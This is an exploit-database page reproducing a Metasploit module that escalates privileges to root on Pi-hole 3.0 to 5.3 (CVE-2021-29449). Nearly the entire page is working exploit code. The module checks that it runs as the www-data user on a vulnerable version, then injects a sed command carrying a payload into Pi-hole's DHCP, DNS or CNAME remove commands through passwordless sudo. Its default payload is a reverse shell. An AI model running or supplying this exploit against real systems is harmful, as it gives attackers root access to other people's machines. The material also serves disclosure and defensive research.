Pi-Hole Remove Commands Linux Privilege Escalation

2021.08.01
Credit: h00die
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking # includes: is_root? include Msf::Post::Linux::Priv # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File # for whoami include Msf::Post::Unix # for get_session_pid needed by whoami include Msf::Post::Linux::System prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Pi-Hole Remove Commands Linux Priv Esc', 'Description' => %q{ Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname, removecustomdns, and removestaticdhcp functions without properly validating the parameters before passing to sed. When executed as the www-data user, this allows for a privilege escalation to root since www-data is in the sudoers.d/pihole file with no password. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' }, 'Payload' => { 'BadChars' => "\x27" # ' }, 'Privileged' => true, 'References' => [ [ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ], [ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ], [ 'CVE', '2021-29449' ] ], 'DisclosureDate' => '2021-04-20', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] }, 'Targets' => [ ['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec ['DNS', { 'min' => Rex::Version.new('5.0') }], ['CNAME', { 'min' => Rex::Version.new('5.1') }], ], 'DefaultTarget' => 0 ) ) end def sudo_pihole 'sudo /usr/local/bin/pihole -a' end def pihole_version version = cmd_exec('sudo /usr/local/bin/pihole -v') /Pi-hole version is v([^ ]+)/ =~ version Rex::Version.new(Regexp.last_match(1)) end def check w = whoami print_status("Current user: #{w}") v = pihole_version print_status("Pi-hole version: #{v}") unless v.between?(target['min'], Rex::Version.new('5.3')) return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable") end unless w == 'www-data' return CheckCode::Safe("User must be www-data, currently #{w}") end CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable") end def method_dhcp f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf' if !file?(f) || read_file(f).empty? mac = Faker::Internet.mac_address ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}" print_status("Adding static DHCP #{mac} #{ip}") cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'") end unless file?(f) print_error("Config file not found: #{f}") return end print_good("#{f} found!") print_status('Executing payload against removestaticdhcp command') cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'") if mac cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'") end end def method_dns f = '/etc/pihole/custom.list' if !file?(f) || read_file(f).empty? name = Faker::Internet.domain_name ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}" print_status("Adding DNS entry #{name} #{ip}") cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'") end unless file?(f) print_error("Config file not found: #{f}") return end print_good("#{f} found!") print_status('Executing payload against removecustomdns command') cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'") if name cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'") end end def method_cname f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf' if !file?(f) || read_file(f).empty? name = "#{rand_text_alphanumeric(8..12)}.edu" print_status("Adding CNAME entry #{name}") cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'") end unless file?(f) print_error("Config file not found: #{f}") return end print_good("#{f} found!") print_status('Executing payload against removecustomcname command') cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'") if name cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'") end end def exploit if target.name == 'DHCP' method_dhcp elsif target.name == 'DNS' method_dns elsif target.name == 'CNAME' method_cname end end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top